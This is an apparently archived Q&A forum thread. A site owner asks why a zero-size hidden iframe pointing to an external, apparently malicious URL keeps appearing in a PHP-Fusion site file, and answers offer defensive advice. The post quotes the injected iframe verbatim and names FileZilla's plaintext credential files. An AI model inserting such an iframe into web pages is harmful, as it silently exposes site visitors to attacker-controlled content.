2

Somehow, a "hacker crawler" is constantly inserting a harmful iframe element into one of my files:

<iframe src="http://miaspieces.vv.cc/showthread.php?t=70830633" width="0" height="0"></iframe>

It's done automatically, and not by a person, I assume.

I've changed all my passwords several times as well as the CHMOD of the file via FTP, so I assume this is somehow done on my site (PHP-Fusion¹).

Any ideas how the crawler does this and how I can prevent it?

¹ I know the flaw is because I'm using an old version of PHP-Fusion, but I've unfortunately done too much modifying to switch to the newest version.

Improve this question
5
  • 1
    What system are you using? Is it your own, or something like Joomla?
    – Anonymous
    May 26 '11 at 20:28
  • 1
    php-fusion, and I know the flaw is because I'm using an old version, but I've unfortunately done too much modifying to switch to the newest version. I was hoping someone could perhaps point to possible causes anyway.
    – Anonymous
    May 26 '11 at 20:30
  • Check your server logs.
    – SLaks
    May 26 '11 at 20:32
  • Is your server patched? Firewall? That stuff exists for a reason.
    – vcsjones
    May 26 '11 at 20:35
  • 2
    If you are using an unmaintained version of PHP-Fusion you should definitely either update it or ensure that your application is removed from any server accessible over the web. Otherwise you risk to be held liable for any damage your hacked applications causes (depending on the legislation in your country).
    – NikiC
    May 26 '11 at 20:35
1

Are you or someone who have access to this environment using Filezilla as FTP client?

If so, be aware that this program saves the clear password in INI files, and it's used by trojans to infect websites...

Path (Windows 7)

C:\Users[USER]\AppData\Roaming\Filezilla

Files

bookmarks.xml

recentservers.xml

Improve this answer
0

Hmm... It's hard to say without seeing the page, and the code the drives it. I don't have any experience with that CMS, but, from what I can tell, it looks like it is being inserted into, then pulled out of a database, not a modification via FTP. If that is the case, I would:

  1. change your database password
  2. point the CMS to the same database, with the new password
  3. remove the iFrame, and see if the problem persists, with the new password

Usually things like this are a matter of trial and error.

Improve this answer
0

The easiest way I know of to find a vulnerability of an outdated version of software is to look at the change logs of the next version up. See what was fixed in the newer version and start looking there. (This would likely include all outdated software IE ftp client, your server software, your CMS and so on).

Also if you have a backup from before the issue occurred revert back to that using SSH or A different ftp client rather then your ftp client if you think that is where the issue is.

Improve this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.